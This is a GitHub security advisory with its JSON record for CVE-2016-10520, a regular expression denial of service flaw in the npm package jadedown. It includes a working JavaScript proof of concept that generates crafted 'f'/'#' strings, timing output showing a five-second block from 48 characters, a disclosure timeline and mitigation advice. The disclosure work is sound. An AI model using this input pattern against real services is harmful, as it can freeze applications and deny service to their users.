ghsa-6354-6mhv-mvv5
Vulnerability from github
The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.
Proof of concept
```js var jadedown = require('jadedown');
var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }
return result;
}
for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = genstr(i, 'f') + genstr(i, '#') + '{'; console.log("LENGTH: " + str.length); var start = process.hrtime(); jadedown(str)
var end = process.hrtime(start);
console.log(end);
}
```
Results demonstrating blocking for 5 seconds using only 48 characters.
$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]
Timeline
- October 24, 2015 - Vulnerability Identified
- October 24, 2015 - Maintainers Notified
- October 25, 2015 - Response from Maintainers with intent to fix
- January 5, 2016 - Advisory Published
- January 11, 2016 - CVE Requested
Recommendation
This package is not actively maintained, and has not seen an update since 2011.
The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jadedown"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-10520"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:17:50Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.\n\n\n### Proof of concept\n```js\nvar jadedown = require(\u0027jadedown\u0027);\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i\u003c=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=1;i\u003c=10000000;i=i+1) {\n console.log(\"COUNT: \" + i);\n var str = genstr(i, \u0027f\u0027) + genstr(i, \u0027#\u0027) + \u0027{\u0027;\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n jadedown(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested\n\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2011. \n\nThe package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.",
"id": "GHSA-6354-6mhv-mvv5",
"modified": "2023-09-11T22:25:25Z",
"published": "2019-02-18T23:38:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10520"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6354-6mhv-mvv5"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/52"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Regular Expression Denial of Service in jadedown"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.